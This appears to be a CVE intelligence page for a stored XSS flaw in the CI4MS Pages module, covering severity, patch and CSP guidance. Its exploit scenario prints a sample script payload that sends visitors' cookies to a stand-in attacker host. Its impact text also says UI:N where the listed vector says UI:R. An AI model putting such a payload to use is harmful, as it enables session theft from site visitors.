Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | CVSS 5.5 reflects a network-based attack with low complexity and no user interaction required (UI:N), but requires high-privilege credentials (PR:H), limiting the attack surface to administrators or compromised admin accounts. EPSS and KEV status are not provided in available data. The actual risk is moderately elevated despite the moderate CVSS score: the vulnerability affects confidentiality and integrity (C:L, I:L) but not availability, and the scope is changed (S:C), meaning an attacker can impact resources beyond the vulnerable component (visitor sessions). The requirement for authenticated admin access significantly reduces real-world likelihood, as this presupposes insider threat, compromised credentials, or prior privilege escalation. However, if an organization has weak access controls or multiple admin accounts, the attack surface expands. The absence of public exploit code and KEV confirmation suggests limited active exploitation, but the straightforward nature of stored XSS means a motivated attacker with credentials poses a practical risk. Organizations with high-privilege admin account security should prioritize patching, while those with weak credential management face elevated risk. |
| Exploit ScenarioDerived | An attacker with compromised or legitimately-held administrator credentials logs into CI4MS and navigates to the Pages module. They create or edit a page and inject a JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>) into the page content field. Because the Pages module does not apply html_purify validation, the malicious payload is stored in the database as-is. When any public visitor views that page, the unsanitized content is echoed directly into the HTML response, causing the attacker's JavaScript to execute in the visitor's browser context, allowing credential theft, session hijacking, or redirection to phishing pages. No public exploit code is required; the attack is a straightforward matter of API/form submission with malicious HTML. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 08, 2026
Stored cross-site scripting (XSS) in CI4MS prior to 0.31.4.0 allows authenticated administrators with page-editing privileges to inject arbitrary JavaScript into page content that executes in the browsers of all public visitors. The Pages module fails to apply HTML sanitization during content creation and updates, storing unsanitized HTML directly in the database and rendering it without escaping on the frontend, whereas the Blog module correctly implements this protection. An attacker with admin credentials can compromise the integrity and confidentiality of visitor sessions. CVSS 5.5, no public exploit code identified at time of analysis.
RemediationAI
Vendor-released patch: CI4MS 0.31.4.0 or later. Upgrade immediately to the patched version via the official repository or package manager. As a temporary workaround for organizations unable to patch immediately, restrict page-editing privileges to the minimum necessary set of trusted administrators and implement Content Security Policy (CSP) headers on the frontend to mitigate JavaScript execution from untrusted inline scripts (e.g., script-src 'self'). Additionally, audit all existing page content in the database for suspicious JavaScript or HTML and manually sanitize or remove malicious payloads. Consult the GitHub Security Advisory at https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fjpj-6qcq-6pw2 for full patching instructions.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CI4MS is a modular CMS built on the CodeIgniter 4 framework (cpe:2.3:a:ci4-cms-erp:ci4ms). The vulnerability stems from inconsistent validation logic across modules: the Blog module applies the html_purify validation rule to sanitize user-supplied content, but the Pages module omits this rule during both create and update operations. Unsanitized content is persisted to the database and later rendered on the public frontend using a direct echo statement (echo $pageInfo->content) without HTML entity encoding or output escaping. This represents a classic Stored XSS (CWE-79) where user input flows directly into output context without sanitization, allowing JavaScript payload persistence and cross-domain execution against all site visitors.
Know when Ci4ms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionNVD
CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Pages module does not apply the html_purify validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via echo $pageInfo->content. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page. This vulnerability is fixed in 0.31.4.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in CI4MS Multiple Vulnerabilities
View all 6CI4MS (CodeIgniter 4 CMS skeleton) has a code injection vulnerability (CVSS 9.9) allowing authenticated users to execute
Stored Cross-Site Scripting in CI4MS methods management allows authenticated users to inject malicious JavaScript into a
Stored cross-site scripting in CI4MS role/group management allows authenticated attackers to inject malicious JavaScript
Stored cross-site scripting in CI4MS before 0.31.2.0 allows an authenticated user with System Settings → Company Informa
Stored cross-site scripting in CI4MS backend user management allows authenticated attackers with low-level privileges to
Stored cross-site scripting in CI4MS blog category management allows authenticated users to inject malicious JavaScript
Stored cross-site scripting in CI4MS before 0.31.0.0 lets an authenticated user with blog create/edit rights save JavaSc
Stored cross-site scripting in CI4MS (CodeIgniter 4 CMS) allows authenticated users with blog post management privileges
Stored cross-site scripting (XSS) in CI4MS page management functionality allows authenticated attackers to inject malici
Stored cross-site scripting (XSS) in CI4MS menu management allows authenticated users with low privileges to inject mali
Stored cross-site scripting in CI4MS menu management allows authenticated attackers to inject malicious scripts that exe
EUVD-2026-20485
GHSA-fjpj-6qcq-6pw2
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB